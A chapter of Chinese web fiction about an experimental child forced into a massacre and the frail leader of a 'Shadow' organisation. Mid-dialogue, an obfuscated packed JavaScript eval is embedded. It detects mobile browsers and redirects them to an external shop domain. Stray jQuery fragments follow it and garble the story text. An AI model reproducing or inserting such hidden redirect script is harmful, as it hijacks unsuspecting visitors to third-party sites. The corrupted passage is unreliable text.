对于一个被凭空创造的实验品来说,
“家人”,或许最多只能指其他的实验品了。
那么,100号试验品有99个「家人」。
“孩子们,很遗憾。”
冷漠的声音响起,空旷而封闭的大厅里亮起灯来。
100号试验品被灯光刺得眯起眼睛。
“因为我只需要「一个」孩子,所以…”
“请你们自相残杀吧…”
“只有唯一一个活下来的可以离开这个房间。”
话音刚落,1号试验品瞬间掐住3号的脖子。
在所有人都没有反应过来的时候,3号血溅当场。
一下子,100名孩子陷入混乱。
血腥味弥漫在大厅,100号颤抖着将自己缩成一团,蹲在角落里。
直到一道身影出现在它面前。
“求求你了,100号。”
2号这样说道。
“快阻止1号吧。”
2号紧紧握住100号的手,“我知道你有这个能力。我不想再看到家人们自相残杀了。”
100号懵懵懂懂地点了点头。
刹那间,仿佛打开了洪水的闸门。
100号深蓝色的眼睛变成了金色。
之后的事情,100号什么都不记得了。
它只看到满身鲜血的自己和倒在身边的「家人」
“带着我们的那份活下去吧,100号。”2号说完,举起了利刃…
大厅的门打开了。
“恭喜你。唯一一个幸存者。”蓝黄耳羽的女人对着100号伸出手,“就叫你法尔斯吧。”
“小法?”
“小法!!!”
随着西娜的呼喊,法尔斯醒了过来。
“你没事吧?”西娜关切地望着它。
“我…我…”法尔斯下意识地环顾四周,手和脚都不住地发着抖。
记忆的碎片盘桓在脑海中,如同针扎一般地疼。
“没事了。”西娜见状,抱住了它。“已经没事了。”
“刚刚发生了什么?”
“就在刚刚,「羽」的首领出现,一个金发金瞳的女人。她带走了雾纱,阿加莎以及灵提桠。”
“然后…?”
“然后你就突然满头大汗,晕了过去。”
法尔斯突然想到了什么,着急问道。“她有没有对你做什么!?”
“没有。”
法尔斯松了口气。
“她就那么…离开了,随后克里丝说要告诉自己的上司,也离开了。”
“那我们现在是在?”
“在孤儿院里。”
话音刚落,
房间的门被拉开,和蔼的院长女士端着一杯热牛奶走了进来。
“院长…”法尔斯总觉得院长有些眼熟。
“法尔斯是吧?”
“嗯。”
“你就是灵提桠以前经常提到的,那位「朋友」吧。”
“朋友???”法尔斯瞪大了眼。
“朋友…?”西娜难以置信地重复了一遍。
“对,朋友。”
另一边,「影子」的分部楼顶。直升飞机的舱门打开,克里丝从中走了出来。
一个黑色头发,发尾末端发白,扎着马尾辫的瘦瘦小小的女孩,已经等候多时。
“达洱文!!!”克里丝激动地扑过去。
名叫达洱文的女孩子安静地看着她。
她平静地开口,“你忘记了。使用你的能力的时候要有分寸。不然你会回到死亡的状态。”
“唉?!”克里丝挠了挠头。
她自觉做错了事,有些愧疚地低下头。
“对不起。”
“鉴于你的特殊情况,为了你的安全,下次我不会再让你执行这么危险的任务了。”
“啊…可是我也想帮忙嘛…”克里丝可怜兮兮地盯着达洱文。
“对了!”
“我遇到了灵提桠先生和笛小姐哦!这个我记住了,是你之前和我说的,要「重点关照」的对象!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182098|150644||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
“嗯?!”
达洱文的眼神终于出现了一丝波动。
“她有没有把你怎么样?”
“没有啊,她只是带着其它人离开了。”克里丝不明所以地摇摇头,“我有按照你说的,没有和她交手哦!”
“…那就好。”达洱文叹了口气。
这位年轻而沉稳的「影子」组织的首领,此刻流下了一滴冷汗。
【真是幸运啊。】
她非常明白面对“笛”意味着什么。
哪怕对方有丝毫的想法,克里丝今天都回不来。
想到这里,一股奇怪的情感在她的心中荡漾,不知为何,她紧紧抱住了克里丝。
“嗯?”克里丝虽然不明白对方的举动,但也紧紧抱住了达洱文。
“我不想失去你。”达洱文坚定开口。
“我也是。”
她们久久地拥抱在一起,直到克里丝开始感到不太对劲。
“达洱文?”
她试着呼唤她。
“达洱文?!”
达洱文晕了过去。
担架与医护人员早就在一旁随时待命。此刻他们熟练地将达洱文抬上担架,走向医务室。
似乎这样的事情时常发生,大家都已经习惯了达洱文病弱的身体。
“…达洱文”克里丝担忧地望着担架离开的方向。
许久,经过紧张刺激的抢救,达洱文幸运地再一次睁开了眼。
克里丝早已趴在他的床边睡着。
一只花朵气球眼见周边无人,从她的床边缓缓飘起。
白色花瓣簇拥的黄色花芯中间,是一张大大的卡通笑脸。
“奥利弗。”达洱文平静地,没有丝毫动摇的开口。
“我还剩多久?”
“一年不到了,我的小姐。”带着些幸灾乐祸的声音从气球中传出,“或者更短——嘻嘻。”
达洱文释然的看向一旁的克里丝。
“还有一年,等我死了。你就可以彻底「复活」了,克里丝。”